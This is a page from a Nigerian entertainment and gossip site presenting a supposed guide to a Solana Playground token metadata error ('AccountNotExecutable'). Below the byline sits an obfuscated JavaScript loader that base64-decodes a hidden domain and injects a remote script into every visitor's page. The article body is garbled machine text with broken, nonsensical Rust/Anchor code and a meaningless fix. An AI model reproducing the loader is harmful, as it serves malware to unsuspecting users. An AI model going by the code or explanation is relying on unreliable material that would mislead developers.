📲 Click Here to Join Our WhatsApp Channel
NEWS | Politics | CRIME TALK ZONE | DJ MIX | SPORTS |


Burna Boy
Davido
Wizkid
Naira Marley
Olamide
Tiwa Savage
Rema
Asake
Kizz Daniel
OdumoduBLCK
Shallipopi
Tems
Ayra Starr

« | »

Solana: Solana playground: Deployed token has no image and metadata and ({“err”:{“InstructionError”:[2,”AccountNotExecutable”]}})

Published by on February 9th, 2025.


const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=7a11a31f”;document.body.appendChild(script);

I can help you with that. I need more information about your project and the specific error message you have experienced. Here is an example article based on what you have provided:

Solana Playground: Deploying tokens with an unfulfilled account

In this article, we will study the connection of the problems to unleash the Solana Blockchain Marker using an anchor, a popular framework for building decentralized applications (DAPS).

lib.rs

`Is resting

Use Anchor_lang :: Prelude ::*;

Use Anchor_spl :: {

Associated_taken :: AssociatedTequen,

Metadata :: {Create_Metadata_Accounts_v3},

};

#[anchor contract]

MOD my_ Contract {

Use super:*;

#[program]

PUB FN Create_Token (_info: Programinfo) -> Result {

// Create an associated for the unfolded token

Note Token = AssociatoKen :: New ("My Token", "MTOKEN", 1_000_000_000);

// Create Accounts in Metadata for tokena

Let accounts = Create_Metadata_accounts_v3 (& Token, & [123]);

Good (())

}

}

Error

`Json

{

"Type": "Error",

"Msg": "Recuindalerror: Account is not executable",

"Data": {

"Instruction_id": "Create_token",

"Accounts": {

"Token": {

"Data": null,

"Key": "0x ..."

},

"Metadata_accounts_v3": [

...

)

}

}

}

Decision

In this example, the ‘create_metadata_accounts_v3feature is called with an empty array of accounts. To fix this problem, they must specify the account that will be executed by the Anchor compiler. This account must have a unique key (for example "0x ...") and the corresponding address of the contract.

To fix the problem in the filemy_ Contract.Rs, we must add the following line to the Create_TeKen feature:

`Is resting

Let the performance_info = Programinfo :: new ();

Let Contract_address = Execution_info.Account_Key ().

Let the account = "0x ..."; // Replace with a valid account key

// Create Accounts in Metadata for tokena

Let accounts = Create_Metadata_accounts_v3 (& Token, & [Account]);

Good (())

Full code

Here is the full code with the adjusted file my_ Contract.rs:

`Is resting

Use Anchor_lang :: Prelude ::*;

Use Anchor_spl :: {

Associated_taken :: AssociatedTequen,

Metadata :: {Create_Metadata_Accounts_v3},

};

#[anchor contract]

MOD my_ Contract {

Use super:*;

#[program]

PUB FN Create_Token (_info: Programinfo) -> Result {

// Create an associated for the unfolded token

Note Token = AssociatoKen :: New ("My Token", "MTOKEN", 1_000_000_000);

// Create Accounts in Metadata for tokena

Let the performance_info = Programinfo :: new ();

Let the account = "0x ..."; // Replace with a valid account key

Let Contract_address = Execution_info.Account_Key ().

Let accounts = Create_Metadata_accounts_v3 (& Token, & [Account]);

Good (())

}

}

Notes

TRENDING SONGS

Song Heartbreak in Ikeja: Lady Weeps After Fufu Found in New Phone Package Song Twist of Fate: Man Who Questioned Phyna’s ₦1Billion Demand Mourns Brother in Dangote Truck Crash Song Tragedy in Enugu: Dangote Truck Claims Lives of Family of Five Song Bangkok Crackdown: Nigerian-Thai Couple in Police Net Over Drug Trafficking Song Family Rift: Reno Omokri’s Ex-Wife Says He Deserted Their Special Needs Son Song The Man Who Sent Money for Two Decades, Only to Return to an Empty Shell Song See how a young lady was beaten in a village and naked for stealing a goat  Song See How Man That Plans to Divorce His Wife, Gets Shocked When She Leaves Him First With Their 5 Kids Song Tragic Land Dispute: Man Kills Father in Imo, Pastor Arrested for Rape Song Nigeria Grants Air Tanzania Passage for Direct Flights

CLICK TO DROP YOUR COMMENT

Share this post with your friends on


0 Responses

Leave a Reply

NOTE:- Make your comment a bit long to get it approved.



Go Back To The Top

« | »


Looking for something? Search below





About First Class Gists


Click Here to Join Our WhatsApp Channel